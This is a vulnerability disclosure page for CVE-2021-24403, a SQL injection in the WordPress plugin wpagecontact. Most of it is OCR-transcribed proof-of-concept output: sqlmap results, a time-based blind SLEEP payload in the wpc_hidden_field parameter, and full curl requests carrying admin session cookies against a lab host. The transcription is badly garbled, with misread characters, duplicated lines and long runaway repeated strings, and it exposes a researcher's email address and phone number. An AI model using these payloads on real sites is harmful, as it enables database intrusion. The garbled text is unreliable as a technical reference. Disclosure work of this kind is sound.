

HOME DISCLOSURE BLOG RSS FEED ABOUT TEAM

Wp Plugin Wpagecontact

Plugin Details

Plugin Name: wp-plugin: wpagecontact

Effected Version : 1 (and most probably lower version's if any)

Vulnerability: Injection

Minimum Level of Access Required : Administrator

CVE Number: CVE-2021-24403 Identified by: <u>Syed Sheeraz Ali</u> <u>WPScan Reference URL</u>

Disclosure Timeline

- May 9, 2021: Issue Identified and Disclosed to WPScan
- May 13, 2021 : Plugin Closed
- June 10, 2021: CVE Assigned
- August 22, 2021 : Public Disclosure

Technical Details

Vulnerable File: /wpagecontact.php#307

Vulnerable Code block and parameter:

Administrator level SQLi for parameter Vulnerable Code: wpagecontact.php#307

PoC Screenshots

```
OST parameter 'wpc_hidden_field' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N qlmap identified the following injection point(s) with a total of 408 HTTP(s) requests:
     Parameter: wpc_hidden_field (POST)
              Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
      Payload: wpc_hidden_field=(CASE WHEN (7627-7627) THEN SLEEP(5) ELSE 7627 END)&wpc_method_field=Edit&wpc_id_field=l&wpc_first_field=sheeraz&vc_last_field=ali&wpc_email_field=sheerazalicybersec@gmail.com&wpc_phone_field=917974234098&wpc_fax_field=axdsa&wpc_company_field=student&wpc_cvision_field=as&wpc_image_field=http://192.168.0.102/sdasd&wpc_misc_field=asd
     [17:13:59] [INFO] the back-end DBMS is MySQL
    [17:13:59] [INFO] the back-end UBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
[17:13:59] [INFO] fetching current user
[17:13:59] [INFO] retrieved:
[17:13:59] [INFO] retrieved:
[17:13:59] [INFO] retrieved:
   do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
    [17:14:15] [INFO] adjusting time delay to 1 second due to good response times bob@localhost
      current user: 'bob@localhost'
      [17:14:59] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/172.28.128.50'
     [*] ending @ 17:14:59 /2021-05-06/
+ sqlmop-dev git:(master) x time curl -i -s -k -X $'POST' \
- H $'Host: 172.28.128.50' -H $'Content-Length: 315' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://17
2.28.128.50' -H $'Gordent-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15.7) AppleWebKit/
537.36 (KHTML, like Gecko) (hrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html, application/xhtml+xml, application/xml;q=0.9, inage/avif,imag
e/webp,image/apng,*/*;q=0.8, application/ssigned-exchange;y~b3;q=0.9' -H $'Sec-GPC: 1' -H $'Referer: http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin' -H $'Accept-Encoding: gzip, deflote' -H $'Accept-Longuage: en-GB, en-U5;q=0.9, en;q=0.8' -H $'Connection: close'
-b $'wordpress_232395f24f6cff47569f2739c21385d6=admin*X7C16204609502X7CijOCmlgmjMgoJK3UsTNIOiXIcfoc1SikqZGRE8FZzNFX7C3d7003388daf07ddeflota8dc
486d6fele0dcbafe4aaccb82e6746a6aca1573ac; wordpress_test_cookie=MP%20Cookie%20check; te.ai=mxox3AdVTGEvbucdevp65Mb1X2BuUEl; PHPSESSID=d8f8beced1
89cdd7cb849dedbb8a8383; wordpress_logged_in_2322395f24f6cff47569f2739c21385d6=admin*X7C16204609502X7CijOCmlgmjMgoJK3UsTNIOiXIcfoc1SikqZGRE8FZzNFX7C37d003388daf07ddeflota8dc
89cdd7cb849dedbb8a8383; wordpress_logged_in_2322395f24f6cff47569f2739c21385d6=admin*X7C16204609502X7CijOCmlgmjMgoJK3UsTNIOiXIcfoc1SikqZGRE8FZzNFX7C
7952628b1041de960805c47e96060ccc7b50c0188ae4783aef3d87442aa29d6f5; wp-settings-time-l=1620302327'
--data-binary $'wpc_hidden_field=X89917974234098&wpc_fox_field=admin*Xfield=l&wpc_field=skwpc_interl=1620302327'
--data-binary $'wpc_hidden_field=X89917974234098&wpc_fox_field=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfield=admin*Xfiel
  Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
   Connection: close
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1620302408; expires=Fri, 06-May-2022 12:00:08 GMT; Max-Age=31536000; path=/
Control-Expedign: axia
   Content-Encodina: azip
```

url -i -s -k -X \$'POST' -H \$'Host: 172.28.128.50' -H \$'Content-Length: 315' 0.00s user 0.00s system 8% cpu 0.076 total

```
llmap-dev git:(master) x time curl -i -s -k -X $'POST' \
H $'Host: 172.28.128.50' -H $'Content-Length: 315' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://1
    -H $'Nost: 172.28.128.50' -H $'Content-Length: 315' -H $'Cache-Control: max-age=0' -H $'Upgrade-Inscure-Requests: 1' -H $'Origin: http://l
.28.128.50' -H $'Content-Type: application/x-www-form-unlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit.
337.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html, application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,application/xhtml*xml,appli
                 uarcon-secondosa), wordpress_togged_track_assastartortra/sast2/sastason-admittm/loceronese/fljvolitym/mgUnbusimutAltorIsiakumtorLarna/
C288blo41de06805c47e90606ccc7b50c0188de4783de43d87442aa29d6f5; wp-settings-time-la-162030c3227' \
--data-binary $'mp_hidden_field=(CASE WHEN (7627-7627) THEN SLEEP(5) ELSE 7627 END)&mpc_method_field=Edit&mpc_id_field=1&mpc_first_field=
zakmpc_last_field=ali&mpc_enail_field=sheenzailotyberseck#dgmail.com&wpc_phone_field=x22917974234098&mpc_fax_field=axdso&mpc_company_field=s
nt&mpc_division_field=as&mpc_image_field=http%34W2F%2F192.168.0.102%2Fsdasd&mpc_misc_field=asd* \
                  $'http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin
 HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 May 2021 12:00:22 GMT
Content-Type: text/html; charset=UTF-8
  Transfer-Encoding: chunked
Connection: close
Expires: Med, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
A-rrume-uptions: 3-metoxitin
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1-deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1620302422; expires=Fri, 06-May-2022 12:00:22 GMT; Max-Age=31536000; path=/
Content-Encoding: gztp
       url -i -s -k -X $'POST' -H $'Host: 172.28.128.50' -H $'Content-Length: 315' 0.00s user 0.01s system 0% cpu 5.076 total
               sqlmap-dev git:(master) * time curl -i -s -k -X $'POST' \
-H $'Host: 172.28.128.50' -H $'Content-Length: 315' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://1
       .28.128.50' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit 37.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,ima
       37.36 (KHHML, Itse Gecko) (Index)94.94393 Safari/337.36 -H $ Accept: tex/rtml, application/xml+xml, application/xml;q=0.9, image/avit, ima
              darCobaysacdobasos; Wordpress_logged_in_2525995c46ff4759917.39c2136300=damfm7x/locaveboux%/ljUcmigmjwgOJR305fWU01X1CT0C151kqQuktor22km7x/
25228bla41de96805c47290606ccc7550619888e4783aa68d742aa29d6f5; wp-settings-tine-1-1620302327' \
--data-binary $'wpc_hidden_field=(CASE WHEN (7627=7627) THEN SLEEP(15) ELSE 7627 END)&mpc_method_field=Edit&mpc_id_field=1&mpc_first_field=
roz&mpc_last_field=ali&mpc_email_field=sheerazalicybersecW40gmail.com&mpc_phone_field=wi28917974234098&mpc_fax_field=axdso&mpc_company_field=
lent&mpc_division_field=mos&mpc_image_field=https://daxW2FXFS10312km2FxFS1032kmpc_misc_field=axdso&mpc_company_field=
lent&mpc_division_field=axdsompc_image_field=https://daxW2FXFS1032kmpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axdso&mpc_misc_field=axd
 HTTP/1.1 200 0K
Server: nginx/1.18.0 (Ubuntu)
 Date: Thu, 06 May 2021 12:00:37 GMT
Content-Type: text/html; charset=UTF-8
  Transfer-Encoding: chunked Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
A-rrame-uptions: Sametoniain
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1-deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1620302437; expires=Fri, 06-May-2022 12:00:37 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip
           rl -i -s -k -X $'POST' -H $'Host: 172.28.128.50' -H $'Content-Length: 315' 0.00s user 0.00s system 0% cpu 15.075 total
```

Request

[17:13:59] [INFO] fetching current user

```
POST /wp-admin/admin.php?page=wpagecontact-plugin HTTP/1.1
Host: 172.28.128.50
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Referer: http://172.28.128.50/wp-admin/admin.php?page=wpagecontact-plugin
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
\textbf{Cookie: wordpress\_232395f24f6cff47569f2739c21385d6=admin\%7c1620460502\%7cijOcmlgmjMgoJK3UsTwIOiXIcfoc1sikqZGRE8FzZNF\%7c3d7d033b}
wpc hidden field=Y&wpc method field=Edit&wpc id field=1&wpc first field=sheeraz&wpc last field=ali&wpc email field=sheerazalic
sqlmap identified the following injection point(s) with a total of 408 HTTP(s) requests:
Parameter: wpc hidden field (POST)
   Type: time-based blind
   Title: MySQL >= 5.0.12 time-based blind - Parameter replace
   Payload: wpc hidden field=(CASE WHEN (7627=7627) THEN SLEEP(5) ELSE 7627 END)&wpc method field=Edit&wpc id field=1&wpc fir
[17:13:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
```

